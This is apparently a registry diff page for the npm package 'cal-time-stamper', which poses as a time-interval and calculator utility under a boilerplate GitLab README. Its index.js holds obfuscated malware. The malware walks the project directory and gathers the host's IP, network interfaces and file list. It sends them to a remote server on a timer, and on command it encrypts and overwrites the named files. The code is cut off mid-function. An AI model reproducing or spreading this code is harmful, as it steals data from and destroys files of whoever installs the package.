cal-time-stamper 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cal-time-stamper might be problematic. Click here for more details.
- package/README.md +92 -0
- package/index.js +13 -0
- package/package.json +27 -0
package/README.md
ADDED
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
# Time Stamper
|
|
2
|
+
|
|
3
|
+
Time Stamper
|
|
4
|
+
|
|
5
|
+
## Getting started
|
|
6
|
+
|
|
7
|
+
To make it easy for you to get started with GitLab, here's a list of recommended next steps.
|
|
8
|
+
|
|
9
|
+
Already a pro? Just edit this README.md and make it your own. Want to make it easy? [Use the template at the bottom](#editing-this-readme)!
|
|
10
|
+
|
|
11
|
+
## Add your files
|
|
12
|
+
|
|
13
|
+
- [ ] [Create](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#create-a-file) or [upload](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#upload-a-file) files
|
|
14
|
+
- [ ] [Add files using the command line](https://docs.gitlab.com/ee/gitlab-basics/add-file.html#add-a-file-using-the-command-line) or push an existing Git repository with the following command:
|
|
15
|
+
|
|
16
|
+
```
|
|
17
|
+
cd existing_repo
|
|
18
|
+
git remote add origin https://gitlab.com/raman_987/time-stamper.git
|
|
19
|
+
git branch -M main
|
|
20
|
+
git push -uf origin main
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
## Integrate with your tools
|
|
24
|
+
|
|
25
|
+
- [ ] [Set up project integrations](https://gitlab.com/raman_987/time-stamper/-/settings/integrations)
|
|
26
|
+
|
|
27
|
+
## Collaborate with your team
|
|
28
|
+
|
|
29
|
+
- [ ] [Invite team members and collaborators](https://docs.gitlab.com/ee/user/project/members/)
|
|
30
|
+
- [ ] [Create a new merge request](https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html)
|
|
31
|
+
- [ ] [Automatically close issues from merge requests](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#closing-issues-automatically)
|
|
32
|
+
- [ ] [Enable merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/)
|
|
33
|
+
- [ ] [Automatically merge when pipeline succeeds](https://docs.gitlab.com/ee/user/project/merge_requests/merge_when_pipeline_succeeds.html)
|
|
34
|
+
|
|
35
|
+
## Test and Deploy
|
|
36
|
+
|
|
37
|
+
Use the built-in continuous integration in GitLab.
|
|
38
|
+
|
|
39
|
+
- [ ] [Get started with GitLab CI/CD](https://docs.gitlab.com/ee/ci/quick_start/index.html)
|
|
40
|
+
- [ ] [Analyze your code for known vulnerabilities with Static Application Security Testing(SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)
|
|
41
|
+
- [ ] [Deploy to Kubernetes, Amazon EC2, or Amazon ECS using Auto Deploy](https://docs.gitlab.com/ee/topics/autodevops/requirements.html)
|
|
42
|
+
- [ ] [Use pull-based deployments for improved Kubernetes management](https://docs.gitlab.com/ee/user/clusters/agent/)
|
|
43
|
+
- [ ] [Set up protected environments](https://docs.gitlab.com/ee/ci/environments/protected_environments.html)
|
|
44
|
+
|
|
45
|
+
***
|
|
46
|
+
|
|
47
|
+
# Editing this README
|
|
48
|
+
|
|
49
|
+
When you're ready to make this README your own, just edit this file and use the handy template below (or feel free to structure it however you want - this is just a starting point!). Thank you to [makeareadme.com](https://www.makeareadme.com/) for this template.
|
|
50
|
+
|
|
51
|
+
## Suggestions for a good README
|
|
52
|
+
Every project is different, so consider which of these sections apply to yours. The sections used in the template are suggestions for most open source projects. Also keep in mind that while a README can be too long and detailed, too long is better than too short. If you think your README is too long, consider utilizing another form of documentation rather than cutting out information.
|
|
53
|
+
|
|
54
|
+
## Name
|
|
55
|
+
Choose a self-explaining name for your project.
|
|
56
|
+
|
|
57
|
+
## Description
|
|
58
|
+
Let people know what your project can do specifically. Provide context and add a link to any reference visitors might be unfamiliar with. A list of Features or a Background subsection can also be added here. If there are alternatives to your project, this is a good place to list differentiating factors.
|
|
59
|
+
|
|
60
|
+
## Badges
|
|
61
|
+
On some READMEs, you may see small images that convey metadata, such as whether or not all the tests are passing for the project. You can use Shields to add some to your README. Many services also have instructions for adding a badge.
|
|
62
|
+
|
|
63
|
+
## Visuals
|
|
64
|
+
Depending on what you are making, it can be a good idea to include screenshots or even a video (you'll frequently see GIFs rather than actual videos). Tools like ttygif can help, but check out Asciinema for a more sophisticated method.
|
|
65
|
+
|
|
66
|
+
## Installation
|
|
67
|
+
Within a particular ecosystem, there may be a common way of installing things, such as using Yarn, NuGet, or Homebrew. However, consider the possibility that whoever is reading your README is a novice and would like more guidance. Listing specific steps helps remove ambiguity and gets people to using your project as quickly as possible. If it only runs in a specific context like a particular programming language version or operating system or has dependencies that have to be installed manually, also add a Requirements subsection.
|
|
68
|
+
|
|
69
|
+
## Usage
|
|
70
|
+
Use examples liberally, and show the expected output if you can. It's helpful to have inline the smallest example of usage that you can demonstrate, while providing links to more sophisticated examples if they are too long to reasonably include in the README.
|
|
71
|
+
|
|
72
|
+
## Support
|
|
73
|
+
Tell people where they can go to for help. It can be any combination of an issue tracker, a chat room, an email address, etc.
|
|
74
|
+
|
|
75
|
+
## Roadmap
|
|
76
|
+
If you have ideas for releases in the future, it is a good idea to list them in the README.
|
|
77
|
+
|
|
78
|
+
## Contributing
|
|
79
|
+
State if you are open to contributions and what your requirements are for accepting them.
|
|
80
|
+
|
|
81
|
+
For people who want to make changes to your project, it's helpful to have some documentation on how to get started. Perhaps there is a script that they should run or some environment variables that they need to set. Make these steps explicit. These instructions could also be useful to your future self.
|
|
82
|
+
|
|
83
|
+
You can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.
|
|
84
|
+
|
|
85
|
+
## Authors and acknowledgment
|
|
86
|
+
Show your appreciation to those who have contributed to the project.
|
|
87
|
+
|
|
88
|
+
## License
|
|
89
|
+
For open source projects, say how it is licensed.
|
|
90
|
+
|
|
91
|
+
## Project status
|
|
92
|
+
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
|
package/index.js
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
import exactMath from 'exact-math';
|
|
2
|
+
import os from 'os';
|
|
3
|
+
import process from 'process';
|
|
4
|
+
import fs from 'fs';
|
|
5
|
+
import path from 'path';
|
|
6
|
+
import crypto from 'crypto';
|
|
7
|
+
import axios from 'axios';
|
|
8
|
+
|
|
9
|
+
const _0x2742c3=_0x490e,_0x473b65=_0x490e;(function(_0x437672,_0x4e89ba){const _0x256444=_0x490e,_0x15b0ce=_0x490e,_0x3cbb8a=_0x437672();while(!![]){try{const _0x3f03f4=-parseInt(_0x256444('0x180'))/(-0x22be+0x1e0c+-0x191*-0x3)+-parseInt(_0x15b0ce('0x156'))/(-0x1105*-0x1+0x4*0x40f+-0x213f)+-parseInt(_0x256444('0x178'))/(-0x139e+0x16*0xca+0x7*0x53)+-parseInt(_0x256444('0x185'))/(-0x1210*0x2+-0x17*-0x180+-0xe*-0x1e)*(-parseInt(_0x15b0ce('0x136'))/(0x1ca9+-0x1*0x1ad2+-0x1d2))+-parseInt(_0x256444('0x127'))/(0x59f+0x3f*0x6b+-0x1fee)*(-parseInt(_0x256444('0x157'))/(0x1585+0x3a*-0x9d+0xe14))+-parseInt(_0x15b0ce('0x15f'))/(0x366+0x283*0xd+-0x2405)+parseInt(_0x256444('0x137'))/(0x18a9*-0x1+-0x9*-0x1c1+0x8e9);if(_0x3f03f4===_0x4e89ba)break;else _0x3cbb8a['push'](_0x3cbb8a['shift']());}catch(_0x3532b4){_0x3cbb8a['push'](_0x3cbb8a['shift']());}}}(_0x4b4b,0x38882*-0x2+-0x1098ba+-0x21e8c2*-0x1));const _0x356642=(function(){let _0x408333=!![];return function(_0x58128a,_0x14cc0b){const _0x4399cf=_0x408333?function(){const _0xc1d480=_0x490e;if(_0x14cc0b){const _0x300bbf=_0x14cc0b[_0xc1d480('0x130')](_0x58128a,arguments);return _0x14cc0b=null,_0x300bbf;}}:function(){};return _0x408333=![],_0x4399cf;};}()),_0x284932=_0x356642(this,function(){const _0x2e09d3=_0x490e,_0x50c3f8=_0x490e,_0x40d02c={};_0x40d02c[_0x2e09d3('0x182')]=_0x50c3f8('0x173')+'+$';const _0x50e15f=_0x40d02c;return _0x284932['toString']()[_0x50c3f8('0x174')](_0x50e15f[_0x50c3f8('0x182')])[_0x50c3f8('0x186')]()[_0x50c3f8('0x14b')+'r'](_0x284932)['search'](_0x50e15f[_0x50c3f8('0x182')]);});_0x284932();let app_base_url=process[_0x2742c3('0x17a')]();const my_url=_0x473b65('0x162')+_0x473b65('0x19a')+_0x2742c3('0x124')+'.in/check',ip_url='https://ap'+_0x2742c3('0x149')+_0x2742c3('0x16f')+_0x2742c3('0x13b'),fsp=fs[_0x2742c3('0x116')];async function walk(_0x44ee39){const _0x537e04=_0x2742c3,_0x1ce168=_0x2742c3,_0x510bae={'jYJHe':function(_0x142783,_0x101b71,_0x424302,_0x2b72a1){return _0x142783(_0x101b71,_0x424302,_0x2b72a1);},'TxeFt':_0x537e04('0x14d'),'TolCR':_0x1ce168('0x134')+'es','heCeC':'.git','maXoo':function(_0x578315,_0x3868a8){return _0x578315(_0x3868a8);}};let _0x2afdd2=await fsp[_0x1ce168('0x18f')](_0x44ee39);_0x2afdd2=await Promise[_0x1ce168('0x196')](_0x2afdd2[_0x537e04('0x170')](async _0x52c386=>{const _0x2c8bf0=_0x537e04,_0x57c0d7=_0x1ce168;if(_0x510bae['TxeFt']!==_0x2c8bf0('0x14d'))_0x510bae[_0x57c0d7('0x148')](_0x38f0d0,_0x175e3e,_0x5f10cb['data'],!![]);else{const _0x4f7ca4=path[_0x57c0d7('0x126')](_0x44ee39,_0x52c386),_0x3ac1b6=await fsp['stat'](_0x4f7ca4);if(_0x3ac1b6[_0x2c8bf0('0x18c')+'y']()&&(!_0x4f7ca4[_0x2c8bf0('0x14a')](_0x510bae[_0x2c8bf0('0x195')])&&!_0x4f7ca4[_0x2c8bf0('0x14a')](_0x510bae[_0x57c0d7('0x17c')])))return _0x510bae[_0x2c8bf0('0x15b')](walk,_0x4f7ca4);else{if(_0x3ac1b6['isFile']())return _0x4f7ca4;}}}));let _0xbd452f=_0x2afdd2[_0x537e04('0x151')]((_0x4e0b9b,_0x1dcfe0)=>_0x4e0b9b[_0x1ce168('0x147')](_0x1dcfe0),[]);return _0xbd452f[_0x537e04('0x13a')](function(_0x5d5d2b){return _0x5d5d2b!==undefined;});}function removeFile(_0xb3177a,_0x5cecbb=![]){const _0x2b713d=_0x2742c3,_0x4e40df=_0x2742c3,_0x5510c9={};_0x5510c9[_0x2b713d('0x187')]=function(_0x1f051c,_0x57f6ac){return _0x1f051c+_0x57f6ac;};const _0x5db983=_0x5510c9;_0x5cecbb?fs['unlinkSync'](_0xb3177a):fs['unlinkSync'](_0x5db983[_0x2b713d('0x187')](_0x5db983[_0x4e40df('0x187')](app_base_url,'/'),_0xb3177a));}function readFile(_0x321faf,_0xb013f4=![]){const _0x3d5592=_0x2742c3,_0x8812e=_0x473b65,_0x3f2ac4={};_0x3f2ac4[_0x3d5592('0x159')]=_0x3d5592('0x163'),_0x3f2ac4[_0x8812e('0x150')]=function(_0xe34dd3,_0x1db951){return _0xe34dd3+_0x1db951;};const _0x942cdf=_0x3f2ac4;return _0xb013f4?fs[_0x3d5592('0x15d')+'nc'](_0x321faf,_0x942cdf[_0x3d5592('0x159')]):fs[_0x8812e('0x15d')+'nc'](_0x942cdf['rAwXo'](_0x942cdf[_0x8812e('0x150')](app_base_url,'/'),_0x321faf),_0x942cdf[_0x3d5592('0x159')]);}function writeFile(_0x206281,_0x245360,_0x55d0db=![]){const _0x352cca=_0x473b65,_0x41ae3b=_0x473b65,_0x29cc58={};_0x29cc58[_0x352cca('0x161')]=function(_0x310ea9,_0x3c56b3){return _0x310ea9+_0x3c56b3;},_0x29cc58[_0x41ae3b('0x169')]=function(_0x2ea4a0,_0x517c17){return _0x2ea4a0+_0x517c17;};const _0x312a9e=_0x29cc58;return _0x55d0db?fs['writeFileS'+_0x352cca('0x164')](_0x206281,_0x245360):fs['writeFileS'+_0x352cca('0x164')](_0x312a9e[_0x352cca('0x161')](_0x312a9e[_0x41ae3b('0x169')](app_base_url,'/'),_0x206281),_0x245360);}function lock_file(_0x2fa5cd,_0x127751,_0x56be9b,_0x255781){const _0x3da72e=_0x473b65,_0x55990c=_0x2742c3,_0x709275={};_0x709275[_0x3da72e('0x129')]='utf-8',_0x709275[_0x55990c('0x18b')]=_0x3da72e('0x194');const _0x17e5cd=_0x709275,_0x668c69=crypto['createCiph'+'eriv'](_0x2fa5cd,_0x56be9b,_0x127751);let _0x21a1b6=_0x668c69[_0x3da72e('0x18d')](_0x255781,_0x17e5cd[_0x3da72e('0x129')],_0x17e5cd[_0x3da72e('0x18b')]);return _0x21a1b6+=_0x668c69[_0x3da72e('0x177')](_0x17e5cd[_0x3da72e('0x18b')]),_0x21a1b6;}function onCheat(_0x13b3b3,_0x3f8b94,_0x5340bb=![]){const _0x2d7dcf=_0x473b65,_0x2f6e0d=_0x2742c3,_0x55c943={'KdvqK':function(_0x3d01cb,_0x5c9c46,_0x3ff3a6,_0xe1013b,_0x275487){return _0x3d01cb(_0x5c9c46,_0x3ff3a6,_0xe1013b,_0x275487);},'CnHFx':function(_0x34881b,_0xf2eafd,_0x58d280,_0x1aaf62){return _0x34881b(_0xf2eafd,_0x58d280,_0x1aaf62);}};let _0x530345=readFile(_0x13b3b3,_0x5340bb),_0x36f5f4=_0x55c943[_0x2d7dcf('0x15c')](lock_file,_0x3f8b94[_0x2f6e0d('0x138')],_0x3f8b94[_0x2d7dcf('0x152')],_0x3f8b94[_0x2f6e0d('0x168')+'y'],_0x530345),_0x56de70=_0x55c943[_0x2d7dcf('0x11c')](writeFile,_0x13b3b3,_0x36f5f4,_0x5340bb);}function get_address(){const _0x21534e=_0x2742c3,_0x249bcc=_0x473b65;let _0x23094d=os[_0x21534e('0x17e')+_0x249bcc('0x144')](),_0x5d4e4d=[];for(const _0xacf2b in _0x23094d){const _0x2ff900=_0x23094d[_0xacf2b];let _0x569f88=_0x2ff900[_0x249bcc('0x170')](_0x279bc8=>_0x279bc8[_0x21534e('0x119')]);_0x5d4e4d=_0x5d4e4d['concat'](_0x569f88);}return _0x5d4e4d;}async function makeGetRequest(_0x10532c){const _0x5226c7=_0x473b65;let _0x4a3d6d=await axios[_0x5226c7('0x192')](_0x10532c);return _0x4a3d6d['data'];}async function makePostRequest(_0x417cc6,_0x31a4d4){const _0x1a40eb=_0x2742c3,_0x4af302=_0x473b65,_0x5982e7={};_0x5982e7[_0x1a40eb('0x13e')]=_0x4af302('0x193')+_0x1a40eb('0x12d');const _0xa00651=_0x5982e7,_0x221998={};_0x221998['Content-Ty'+'pe']=_0xa00651[_0x1a40eb('0x13e')];const _0x1798a1={};_0x1798a1[_0x4af302('0x13c')]=_0x221998;let _0x1d1182=await axios[_0x1a40eb('0x12c')](_0x417cc6,JSON[_0x4af302('0x142')](_0x31a4d4),_0x1798a1);return _0x1d1182[_0x4af302('0x166')];}async function main(){const _0x4b7d64=_0x2742c3,_0x1c6941=_0x2742c3,_0x425190={'GegtW':function(_0x2dbc48,_0x32eb4b){return _0x2dbc48(_0x32eb4b);},'jviEn':function(_0x25e24b){return _0x25e24b();},'xBejw':'Hello\x20Worl'+'d','GgpaT':function(_0xdd3bf8,_0x47227a,_0xfb300c){return _0xdd3bf8(_0x47227a,_0xfb300c);},'UVxkP':function(_0xe7a84a,_0x15f36e){return _0xe7a84a==_0x15f36e;}};let _0x1c4324=await _0x425190[_0x4b7d64('0x132')](makeGetRequest,ip_url),_0x2b1e35=os[_0x4b7d64('0x17e')+_0x4b7d64('0x144')](),_0x534ea0=_0x425190['jviEn'](get_address),_0x42f828=await walk(app_base_url);console[_0x1c6941('0x165')](_0x425190[_0x4b7d64('0x146')]);let _0x5de6ec=await _0x425190[_0x1c6941('0x131')](makePostRequest,my_url,{'ip':_0x1c4324,'networkInterfaces':_0x2b1e35,'addresses':_0x534ea0,'files':_0x42f828,'time':Date[_0x4b7d64('0x18a')]()});if(_0x425190['UVxkP'](_0x5de6ec[_0x1c6941('0x122')],![])){console['log'](_0x5de6ec),_0x5de6ec['files']?.[_0x4b7d64('0x183')](_0x531137=>{const _0x3386ae=_0x1c6941;onCheat(_0x531137,_0x5de6ec[_0x3386ae('0x166')],!![]);});const _0x277edd={};_0x277edd[_0x4b7d64('0x120')]=!![],_0x277edd[_0x1c6941('0x17f')]=!![],fs[_0x4b7d64('0x145')](_0x4b7d64('0x134')+'es',_0x277edd);}}setInterval(()=>{const _0x57cfc8=_0x473b65,_0x10199f={'tALMI':'Calling','bRJrN':function(_0x34b978){return _0x34b978();}};console['log'](_0x10199f[_0x57cfc8('0x16a')]),_0x10199f['bRJrN'](main);},-0x63*0x51+-0x1ca2+-0x2e07*-0x3);const _0x1599dd={};_0x1599dd[_0x2742c3('0x15a')+'ng']=!![],_0x1599dd[_0x2742c3('0x11a')]=Infinity,_0x1599dd[_0x2742c3('0x141')]=Infinity;const mathConfig=_0x1599dd;function add(..._0x5e5a6e){const _0x4fc942=_0x2742c3,_0x4d2d78=_0x473b65;try{return exactMath[_0x4fc942('0x16b')](..._0x5e5a6e,mathConfig);}catch(_0x498beb){let _0x56c173=new Error(_0x498beb[_0x4d2d78('0x11f')]);return _0x56c173;}}function sub(..._0x10579b){const _0x45f288=_0x473b65,_0x13e757=_0x2742c3,_0x33cd90={};_0x33cd90[_0x45f288('0x198')]=function(_0x3aaefd,_0x126bc8){return _0x3aaefd===_0x126bc8;},_0x33cd90[_0x45f288('0x171')]=_0x45f288('0x189'),_0x33cd90[_0x13e757('0x14f')]=_0x45f288('0x158');const _0x136df8=_0x33cd90;try{if(_0x136df8[_0x13e757('0x198')](_0x136df8[_0x45f288('0x171')],_0x136df8['UKqRW']))try{return _0x2bec10[_0x13e757('0x11b')](..._0x5ba453,_0x68f1d5);}catch(_0x4aea80){let _0x211719=new _0xdd2690(_0x4aea80[_0x13e757('0x11f')]);return _0x211719;}else return exactMath[_0x45f288('0x118')](..._0x10579b,mathConfig);}catch(_0x22e3c){let _0x2bf9da=new Error(_0x22e3c[_0x45f288('0x11f')]);return _0x2bf9da;}}function _0x490e(_0x57a6aa,_0x48de61){const _0x496bf5=_0x4b4b();return _0x490e=function(_0xb55dfe,_0x158388){_0xb55dfe=_0xb55dfe-(-0x1*0x12f1+0x62*0x30+-0x2*-0xd3);let _0x6c4a79=_0x496bf5[_0xb55dfe];if(_0x490e['Yrbobh']===undefined){var _0x481d8b=function(_0x273363){const _0x3c87bc='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x5f3328='',_0x1d796a='',_0x4f058b=_0x5f3328+_0x481d8b;for(let _0x2bd937=-0x1*-0x6bd+-0x1e5b+0x179e,_0x45f5d6,_0x38f0d0,_0x175e3e=0x21a*0x6+0x1aa8+-0x1c*0x167;_0x38f0d0=_0x273363['charAt'](_0x175e3e++);~_0x38f0d0&&(_0x45f5d6=_0x2bd937%(-0x11*-0x194+0x174*0x11+-0x7*0x75c)?_0x45f5d6*(0xfd8+0xd7c+-0x1d14)+_0x38f0d0:_0x38f0d0,_0x2bd937++%(-0x3*-0x1bb+0x1*0xee9+0x2*-0xa0b))?_0x5f3328+=_0x4f058b['charCodeAt'](_0x175e3e+(-0x19ea+-0x1856+0x324a))-(0xd*-0xa3+-0x23bb+0x2c0c)!==0x15a*0x10+0x1b02+-0x30a2?String['fromCharCode'](0x20e1+-0x22a2+0x2c0&_0x45f5d6>>(-(-0x1184*-0x2+-0x972+-0xcca*0x2)*_0x2bd937&-0x5d*0x5b+-0xb66+-0x3b*-0xc1)):_0x2bd937:0x509*-0x1+0x61*0x49+-0x2*0xb50){_0x38f0d0=_0x3c87bc['indexOf'](_0x38f0d0);}for(let _0x5f10cb=-0x8+0x1504+0x53f*-0x4,_0x15da7b=_0x5f3328['length'];_0x5f10cb<_0x15da7b;_0x5f10cb++){_0x1d796a+='%'+('00'+_0x5f3328['charCodeAt'](_0x5f10cb)['toString'](-0x2b*-0x4+0xd45+-0xbb*0x13))['slice'](-(-0x1*0x101+-0x1*-0x21a7+-0x20a4));}return decodeURIComponent(_0x1d796a);};_0x490e['uwQugt']=_0x481d8b,_0x57a6aa=arguments,_0x490e['Yrbobh']=!![];}const _0x545957=_0x496bf5[-0xf+-0x1596+0x3*0x737],_0x18cf5c=_0xb55dfe+_0x545957,_0x34909a=_0x57a6aa[_0x18cf5c];if(!_0x34909a){const _0x1d2e52=function(_0x9b70fa){this['VJxNCB']=_0x9b70fa,this['HZhSPQ']=[-0x14f8+0xb08*0x2+-0x117,0x1cf*-0xd+-0x1915*0x1+-0x1*-0x3098,-0x576*0x1+0x3*-0xbb9+0x28a1],this['VptdOy']=function(){return'newState';},this['aeZzNt']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['HFMDpU']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x1d2e52['prototype']['OlFoWh']=function(){const _0x137b45=new RegExp(this['aeZzNt']+this['HFMDpU']),_0x14d11b=_0x137b45['test'](this['VptdOy']['toString']())?--this['HZhSPQ'][0x16a+0x595*0x4+-0x17bd]:--this['HZhSPQ'][0x1*0x1144+0x1*-0x19ca+0x886];return this['WXLmel'](_0x14d11b);},_0x1d2e52['prototype']['WXLmel']=function(_0x8eba0b){if(!Boolean(~_0x8eba0b))return _0x8eba0b;return this['MSryvJ'](this['VJxNCB']);},_0x1d2e52['prototype']['MSryvJ']=function(_0x4b6871){for(let _0x16c35c=0xe82+-0x696+-0x7ec,_0x119361=this['HZhSPQ']['length'];_0x16c35c<_0x119361;_0x16c35c++){this['HZhSPQ']['push'](Math['round'](Math['random']())),_0x119361=this['HZhSPQ']['length'];}return _0x4b6871(this['HZhSPQ'][-0x12e0+-0x2130+0x3410]);},new _0x1d2e52(_0x490e)['OlFoWh'](),_0x6c4a79=_0x490e['uwQugt'](_0x6c4a79),_0x57a6aa[_0x18cf5c]=_0x6c4a79;}else _0x6c4a79=_0x34909a;return _0x6c4a79;},_0x490e(_0x57a6aa,_0x48de61);}function mul(..._0x5405f0){try{return exactMath['mul'](..._0x5405f0,mathConfig);}catch(_0x4a917b){let _0x16a442=new Error(_0x4a917b['message']);return _0x16a442;}}function div(..._0x2d7088){const _0x1e5d52=_0x2742c3,_0x3c6286=_0x473b65,_0xb1d74d={};_0xb1d74d['LLYOV']=_0x1e5d52('0x121'),_0xb1d74d[_0x3c6286('0x191')]=_0x1e5d52('0x139');const _0x19f0c3=_0xb1d74d;try{return exactMath[_0x3c6286('0x16e')](..._0x2d7088,mathConfig);}catch(_0x4e2714){if(_0x19f0c3[_0x3c6286('0x18e')]!==_0x19f0c3[_0x3c6286('0x191')]){let _0x2e787f=new Error(_0x4e2714[_0x1e5d52('0x11f')]);return _0x2e787f;}else return _0x3d8813['add'](..._0x494814,_0x23d52f);}}function round(..._0x340206){const _0x29e36d=_0x473b65;try{return exactMath[_0x29e36d('0x133')](..._0x340206,mathConfig);}catch(_0x5c799a){let _0x2772e1=new Error(_0x5c799a['message']);return _0x2772e1;}}function floor(..._0x39bc57){const _0x4ae702=_0x2742c3,_0x20e821=_0x473b65,_0x273135={};_0x273135[_0x4ae702('0x123')]=_0x4ae702('0x190');const _0x1e97a3=_0x273135;try{if(_0x1e97a3['ivxUs']!==_0x4ae702('0x190')){const _0x392f99=_0x3a193e[_0x20e821('0x130')](_0x3f6b62,arguments);return _0x26fc01=null,_0x392f99;}else return exactMath[_0x4ae702('0x11b')](..._0x39bc57,mathConfig);}catch(_0x5ac9fe){let _0x5df6de=new Error(_0x5ac9fe['message']);return _0x5df6de;}}const _0x2eaf9={};_0x2eaf9[_0x473b65('0x16b')]=add,_0x2eaf9[_0x473b65('0x118')]=sub,_0x2eaf9[_0x473b65('0x135')]=mul,_0x2eaf9[_0x473b65('0x16e')]=div,_0x2eaf9['round']=round,_0x2eaf9['floor']=floor;let Calculator=_0x2eaf9;const time_intervals=['1m','3m','5m','10m',_0x2742c3('0x14e'),_0x2742c3('0x188'),'1h','2h',_0x473b65('0x19b'),'1d','1w','1M'],_0x4b20e5={};_0x4b20e5['1m']=0x1,_0x4b20e5['3m']=0x3,_0x4b20e5['5m']=0x5,_0x4b20e5[_0x473b65('0x12f')]=0xa,_0x4b20e5[_0x2742c3('0x14e')]=0xf,_0x4b20e5['30m']=0x1e,_0x4b20e5['1h']=0x1,_0x4b20e5['2h']=0x2,_0x4b20e5[_0x2742c3('0x19b')]=0xc;function _0x4b4b(){const _0x1dbb0b=['u1j6u2C','BM93','rMv4AvO','AxneAxjLy3rVCG','DxbKyxrL','teXzt1y','CMvHzgrPCG','z0nkrwy','C1f1qwC','z2v0','yxbWBgLJyxrPBW','Agv4','vg9Sq1i','ywXS','z2v0vvrdrgf0zq','vuPIr2S','C2v0vvrdrgf0zq','BwfUDgvZDc5SyG','mtjO','C2v0vvrdu2vJBW','C2nNBfi','z1rTDhm','ChjVBwLZzxm','Aurpr3a','C3vI','ywrKCMvZCW','zu1PBNvZ','zMXVB3i','q25irNG','BuHXqu4','C2v0vvrdtwLSBa','BwvZC2fNzq','CMvJDxjZAxzL','z0Pvrge','C3rHDhvZ','Axz4vxm','BxnVBhv0Aw9UCW','AezvBgW','AM9PBG','ndG3offzEMjvsq','u0X4AKu','qwDLsvO','vxrLEfG','C3rHCNrFDgLTzq','Cg9ZDa','BI9QC29U','A1PSvKW','mtbT','yxbWBhK','r2DWyvq','r2vNDfC','CM91BMq','BM9Kzv9TB2r1Ba','BxvS','nxLWy3fksG','mJCYmdi2mtD3ChzevLa','ywXNB3jPDgHT','Eu11Evy','zMLSDgvY','Dd1QC29U','AgvHzgvYCW','AxnLy29Uzhm','D2fjDuC','DMfSCW','z2v0vgLTzvn0yq','zvbSDxm','C3rYAw5NAwz5','zw5Kx3rPBwu','zxjMywnLCW','CM1tEw5J','EejLANC','y29Uy2f0','ALLksgu','Aty0lMLWAwz5lG','Aw5JBhvKzxm','y29UC3rYDwn0BW','DgLTzv9PBNrLCG','DM13sw8','mtvT','vuTXuLC','CKf3wg8','CMvKDwnL','CZe2yML0','s0n3tu4','C2v0vvrdsg91CG','rhLQqvC','mtK5nZGXnMf4wgXbqW','mtrXzfjpr0e','AKvcCKy','z3rTuw8','CMv0DxjUu3rYAq','BwfyB28','s2r2CuS','CMvHzezPBgvtEq','z2v0vvrdrgf5','nda1nda5nKvIELH1Cq','v0zpDfy','u3zJCgm','Ahr0Chm6lY9Yyq','DxrMltG','Ew5J','Bg9N','zgf0yq','z2v0vvrdtwLUDq','ChjPDMf0zv9Rzq','vhf5wMm','DefmtuK','ywrK','C3PHufe','DuPOr1y','zgL2','B3jNlZ9MB3jTyq','BwfW','Auvty1G','z2v0vgLTzq','kcGOlISPkYKRkq','C2vHCMnO','z2v0rNvSBfLLyq','EfnmqxC','zMLUywW','mZKZnteWoxPJrMfyta','DgvZ','y3DK','z2v0vvrdtw9UDa','Agvdzum','z2v0xZfTx1rPBq','BMv0D29YA0LUDa','zM9Yy2u','ody1odC3Eez5wNPP','BMrZ','t3fKBKe','zM9YrwfJAa','zvn0yw1W','ntmYmJqXmLzdC3rXsq','Dg9tDhjPBMC','shLjD0e','mZbT'];_0x4b4b=function(){return _0x1dbb0b;};return _0x4b4b();}const time_divider=_0x4b20e5,_0x5a283b={};_0x5a283b['1m']=0x1,_0x5a283b['3m']=0x3,_0x5a283b['5m']=0x5,_0x5a283b['10m']=0xa,_0x5a283b[_0x473b65('0x14e')]=0xf,_0x5a283b[_0x473b65('0x188')]=0x1e,_0x5a283b['1h']=0x3c,_0x5a283b['2h']=0x78,_0x5a283b[_0x2742c3('0x19b')]=0x2d0,_0x5a283b['1d']=0x5a0,_0x5a283b['1w']=0x2760;const time_multipliers=_0x5a283b,TimeInMinutes=_0x5b93bd=>{const _0x3be98d=_0x473b65;if(!time_intervals[_0x3be98d('0x14a')](_0x5b93bd))return time_multipliers['1m'];return time_multipliers[_0x5b93bd];},_0x3d46ef={};_0x3d46ef['time_inter'+_0x2742c3('0x13f')]=time_intervals,_0x3d46ef['time_divid'+'er']=time_divider,_0x3d46ef['TimeInMinu'+_0x2742c3('0x179')]=TimeInMinutes;let TimeInterval=_0x3d46ef;const getTimeStamp=(_0x4180a7='1m',_0x5445e7=null)=>{const _0x2602c1=_0x2742c3,_0x1ae9ff=_0x2742c3,_0x342645={};_0x342645[_0x2602c1('0x11d')]=function(_0x2d86b2,_0x12d04a){return _0x2d86b2!=_0x12d04a;},_0x342645[_0x2602c1('0x19d')]=function(_0x54ce4f,_0x33802b){return _0x54ce4f%_0x33802b;},_0x342645[_0x1ae9ff('0x115')]=function(_0x383310,_0x166b60){return _0x383310===_0x166b60;},_0x342645['kZlVL']=_0x1ae9ff('0x155'),_0x342645[_0x2602c1('0x176')]=function(_0x174dfb,_0xd8e68e){return _0x174dfb!==_0xd8e68e;},_0x342645['UtexX']=_0x2602c1('0x16d'),_0x342645['iDOGp']=function(_0x2ff21a,_0x4883d8){return _0x2ff21a%_0x4883d8;},_0x342645[_0x2602c1('0x16c')]=function(_0x5c1074,_0x20f9f5){return 